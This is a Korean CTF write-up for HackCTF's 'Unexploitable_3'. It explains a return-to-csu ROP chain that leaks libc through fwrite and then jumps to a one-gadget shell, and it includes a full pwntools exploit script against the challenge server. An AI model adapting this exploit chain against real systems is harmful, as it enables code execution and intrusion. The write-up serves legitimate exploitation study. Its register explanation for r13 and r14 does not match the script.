# 보호기법
# Process
gift 함수를 보면 mov rcx, [rdi] ; ret 가젯이 있다.
이 문제에는 BOF도 일어나지만 libc leak을 할 함수가 fwrite밖에 없는데,
이 함수는 인자 4개가 필요하다.
하지만 가젯을 찾아보면 pop rdi ; ret 말고는 충분하지 않다.
따라서 fwrite 함수로 libc leak을 위해 RTC (Return to csu)를 사용한다.
1. fwrite 함수의 인자 구성을 알아보자.
size_t fwrite(const void *ptr, size_t size, size_t count, FILE *file)
fwrite(&got, 1, 6, 0x601050)
첫 번째 인자 : 읽을 메모리 주소. ptr이 가리킬 것이므로 got 주소로 준다. fgets@got
두 번째 인자 : 항목의 크기로 1을 준다.
세 번째 인자 : fgets@got의 길이라고 생각하면 된다. 이미 호출된 적이 있으므로 6바이트가 적혀있을 것이므로 6을 인자로 준다.
네 번째 인자 : 기록할 파일 포인터. 출력할 것이므로 stdout을 주는데, 이는 bss 영역에 적혀있으므로 0x601050로 준다.
file이 가리키는 메모리 공간의 데이터를 size*count 바이트만큼 읽어서 file이 가리키는 파일에 저장하는 기능을 한다.
따라서 got에 적힌 주소값의 크기인 1*6 = 6바이트만큼 읽어서 출력해준다.
2. rcx 레지스터에 네 번째 인자 값을 넣는다.
RTC로는 세 번째 인자값까지만 넣을 수 있어서 네 번째 인자는 mov rcx, [rdi] ; ret 가젯을 이용해야 한다.
먼저 pop rdi ; ret으로 rdi 레지스터에 stdout 주소를 넣으면 rcx에 이 rdi에 적힌 값이 써진다.
3. 0x40073a 로 csu2를 호출해서 각 레지스터에 값을 넣는다.
rbx : call qword ptr [ r12+rbx*8]을 하는데 rbx*8은 사용하지 않고 그냥 [r12]를 사용하므로 rbx는 0으로 준다.
rbp : add rbx, 1로 rbx를 1로 만들어주고 cmp rbx, rbp로 rbx와 rbp 값이 같은지 비교하고 같으면 jnz를 수행하므로 rbp 값도 1로 준다.
r12 : 호출하려는 주소이므로 got 값으로 준다. got에 적혀있는 주소값을 가져오는 것. call qword ptr [r12]에서 여기서는 fwrite_got를 준다.
r13 : mov rdx, r13에서 r13 레지스터 값을 rdx 레지스터에 넣는다. 세번째 인자 -> 6
r14 : mov rsi, r14이므로 rsi에는 1 따라서 r14 = 1 두 번째 인자
r15 : mov edi, r15d 이므로 edi에는 got 따라서 r15에는 got 첫 번째 인자
ret : 리턴할 주소를 넣는다. 0x400720을 줘서 이 주소에서 fwrite(&got, 1, 6, 0x601050) 진행
4. 0x40073a 코드 길이 * 8바이트 만큼 offset을 줘서 0x400720 코드 진행 후 이곳으로 돌아오면 그냥 넘어가도록 한다.
5. main 함수 호출
leak 후 return address를 one gadget으로 덮기 위해 main 함수 호출
6. libc leak
6바이트 출력되므로 \x00\x00을 붙여준다.
libc base를 구하고 one gadget offset으로 one gadget 주소를 구한다.
7. return address -> one gadget
# exploit code
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./Unexploitable_3")
p = remote("ctf.j0n9hyun.xyz", 3034)
elf = ELF("./Unexploitable_3")
libc = elf.libc
p1ret = 0x400743
writable = 0x601070
mov_rcx_rdi = 0x00400658
stdout = 0x601050
rbx = 0
rbp = 1
r12 = elf.got['fwrite']
r13 = 0x1
r14 = 0x6
r15 = elf.got['fgets']
ret = 0x400720 # csu1
offset = 8*7
main = elf.symbols['main']
pay = 'A'*(0x10+0x8) + p64(p1ret) + p64(stdout) + p64(mov_rcx_rdi)
pay += p64(0x40073a) # csu2
pay += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
pay += 'A'*offset + p64(main)
p.sendlineafter("\n", pay)
fgets = u64(p.recv(6) + "\x00\x00")
libcBase = fgets - libc.symbols['fgets']
one_gadget = libcBase + 0x45216
p.sendlineafter("\n", 'A'*(0x10+0x8) + p64(one_gadget))
p.interactive()
# exploit
[HackCTF] Unexploitable #4 (0) | 2020.04.20 |
---|---|
[HackCTF] babyfsb (0) | 2020.03.25 |
[HackCTF] j0n9hyun's secret (0) | 2020.03.25 |
[HackCTF] Welcome_REV (Reversing) (0) | 2020.03.09 |
[HackCTF] World best encryption tool (0) | 2020.03.09 |